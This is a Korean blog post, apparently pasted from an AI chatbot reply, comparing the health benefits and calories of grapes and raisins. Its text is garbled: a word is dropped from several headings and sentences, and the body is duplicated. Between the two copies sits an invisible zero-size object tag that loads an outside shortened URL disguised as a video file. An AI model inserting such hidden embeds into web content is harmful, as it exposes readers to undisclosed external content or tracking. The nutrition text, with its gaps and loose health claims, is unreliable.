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<div _ngcontent-ng-c3936258733="" class="markdown markdown-main-panel" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear; --first-token-animation-duration: 400ms;"><h2 data-sourcepos="1:1-1:42">포도와 건포도, 어떤 점이 다를까요? 과 칼로리까지 파헤쳐 봅시다!</h2><p data-sourcepos="3:1-3:107"><strong>포도</strong>와 <strong>건포도</strong>, 둘 다 달콤한 맛과 다양한 영양소를 지니고 있어 많은 사람들에게 사랑받는 과일입니다. 하지만 건조 과정을 거친 건포도는 생포도와는 다른 특징을 가지고 있습니다.</p><h3 data-sourcepos="5:1-5:15">포도의 과 칼로리</h3><ul data-sourcepos="7:1-12:0">
<li data-sourcepos="7:1-7:93"><strong>풍부한 항산화 물질:</strong> 포도에는 폴리페놀, 레스베라트롤 등 강력한 항산화 물질이 풍부하게 함유되어 있어 활성산소를 제거하고 노화를 방지하는 데 도움을 줍니다.</li>
<li data-sourcepos="8:1-8:57"><strong>심혈관 건강 개선:</strong> 혈압을 낮추고 혈관을 건강하게 유지하여 심혈관 예방에 적입니다.</li>
<li data-sourcepos="9:1-9:46"><strong>뇌 건강 증진:</strong> 뇌세포를 보호하고 기억력 향상에 도움을 줄 수 있습니다.</li>
<li data-sourcepos="10:1-10:59"><strong>소화 촉진:</strong> 포도에 함유된 유기산은 소화액 분비를 촉진하여 소화를 돕고 변비 예방에도 좋습니다.</li>
<li data-sourcepos="11:1-12:0"><strong>칼로리:</strong> 100g당 약 69kcal로 비교적 낮은 칼로리를 가지고 있어 다이어트에도 도움이 될 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:16">건포도의 과 칼로리</h3><ul data-sourcepos="15:1-20:0">
<li data-sourcepos="15:1-15:53"><strong>높은 식이섬유 함량:</strong> 건조 과정에서 식이섬유 함량이 높아져 변비 해소에 적입니다.</li>
<li data-sourcepos="16:1-16:61"><strong>풍부한 미네랄:</strong> 칼륨, 철분 등 다양한 미네랄이 풍부하여 뼈 건강, 혈액순환 개선에 도움을 줍니다.</li>
<li data-sourcepos="17:1-17:49"><strong>에너지원:</strong> 포도당 함량이 높아 빠르게 에너지를 공급하여 피로 회복에 좋습니다.</li>
<li data-sourcepos="18:1-18:45"><strong>칼로리:</strong> 100g당 약 260kcal로 포도에 비해 칼로리가 높습니다.</li>
<li data-sourcepos="19:1-20:0"><strong>주의사항:</strong> 건포도는 당도가 높고 칼로리가 높기 때문에 과다 섭취는 비만, 충치 등을 유발할 수 있습니다.</li>
</ul><h3 data-sourcepos="21:1-21:27">포도와 건포도, 어떤 것을 먹어야 할까요?</h3><p data-sourcepos="23:1-23:60">포도와 건포도는 각각의 장점을 가지고 있기 때문에 개인의 건강 상태와 목적에 따라 선택하는 것이 좋습니다.</p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:45"><strong>다이어트를 하는 경우:</strong> 칼로리가 낮은 생포도를 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="26:1-26:47"><strong>변비가 있는 경우:</strong> 식이섬유 함량이 높은 건포도를 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>에너지가 필요한 경우:</strong> 포도당 함량이 높은 건포도를 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="29:1-29:97"><strong>결론적으로, 포도와 건포도 모두 건강에 좋은 다양한 영양소를 함유하고 있지만, 칼로리와 함량이 다르기 때문에 자신에게 맞는 종류를 선택하여 섭취하는 것이 중요합니다.</strong></p><p data-sourcepos="31:1-31:64"><strong>주의:</strong> 건포도는 설탕이 첨가된 제품이 많으므로 구매 시 성분을 꼼꼼히 확인하고, 과다 섭취는 피해야 합니다.</p><p data-sourcepos="33:1-33:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cbfm" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
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<li data-sourcepos="7:1-7:93"><strong>풍부한 항산화 물질:</strong> 포도에는 폴리페놀, 레스베라트롤 등 강력한 항산화 물질이 풍부하게 함유되어 있어 활성산소를 제거하고 노화를 방지하는 데 도움을 줍니다.</li>
<li data-sourcepos="8:1-8:57"><strong>심혈관 건강 개선:</strong> 혈압을 낮추고 혈관을 건강하게 유지하여 심혈관 예방에 적입니다.</li>
<li data-sourcepos="9:1-9:46"><strong>뇌 건강 증진:</strong> 뇌세포를 보호하고 기억력 향상에 도움을 줄 수 있습니다.</li>
<li data-sourcepos="10:1-10:59"><strong>소화 촉진:</strong> 포도에 함유된 유기산은 소화액 분비를 촉진하여 소화를 돕고 변비 예방에도 좋습니다.</li>
<li data-sourcepos="11:1-12:0"><strong>칼로리:</strong> 100g당 약 69kcal로 비교적 낮은 칼로리를 가지고 있어 다이어트에도 도움이 될 수 있습니다.</li>
</ul><h3 data-sourcepos="13:1-13:16">건포도의 과 칼로리</h3><ul data-sourcepos="15:1-20:0">
<li data-sourcepos="15:1-15:53"><strong>높은 식이섬유 함량:</strong> 건조 과정에서 식이섬유 함량이 높아져 변비 해소에 적입니다.</li>
<li data-sourcepos="16:1-16:61"><strong>풍부한 미네랄:</strong> 칼륨, 철분 등 다양한 미네랄이 풍부하여 뼈 건강, 혈액순환 개선에 도움을 줍니다.</li>
<li data-sourcepos="17:1-17:49"><strong>에너지원:</strong> 포도당 함량이 높아 빠르게 에너지를 공급하여 피로 회복에 좋습니다.</li>
<li data-sourcepos="18:1-18:45"><strong>칼로리:</strong> 100g당 약 260kcal로 포도에 비해 칼로리가 높습니다.</li>
<li data-sourcepos="19:1-20:0"><strong>주의사항:</strong> 건포도는 당도가 높고 칼로리가 높기 때문에 과다 섭취는 비만, 충치 등을 유발할 수 있습니다.</li>
</ul><h3 data-sourcepos="21:1-21:27">포도와 건포도, 어떤 것을 먹어야 할까요?</h3><p data-sourcepos="23:1-23:60">포도와 건포도는 각각의 장점을 가지고 있기 때문에 개인의 건강 상태와 목적에 따라 선택하는 것이 좋습니다.</p><ul data-sourcepos="25:1-28:0">
<li data-sourcepos="25:1-25:45"><strong>다이어트를 하는 경우:</strong> 칼로리가 낮은 생포도를 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="26:1-26:47"><strong>변비가 있는 경우:</strong> 식이섬유 함량이 높은 건포도를 섭취하는 것이 좋습니다.</li>
<li data-sourcepos="27:1-28:0"><strong>에너지가 필요한 경우:</strong> 포도당 함량이 높은 건포도를 섭취하는 것이 좋습니다.</li>
</ul><p data-sourcepos="29:1-29:97"><strong>결론적으로, 포도와 건포도 모두 건강에 좋은 다양한 영양소를 함유하고 있지만, 칼로리와 함량이 다르기 때문에 자신에게 맞는 종류를 선택하여 섭취하는 것이 중요합니다.</strong></p><p data-sourcepos="31:1-31:64"><strong>주의:</strong> 건포도는 설탕이 첨가된 제품이 많으므로 구매 시 성분을 꼼꼼히 확인하고, 과다 섭취는 피해야 합니다.</p><p data-sourcepos="33:1-33:30"><strong>궁금한 점이 있다면 언제든지 다시 질문해주세요.</strong></p></div>
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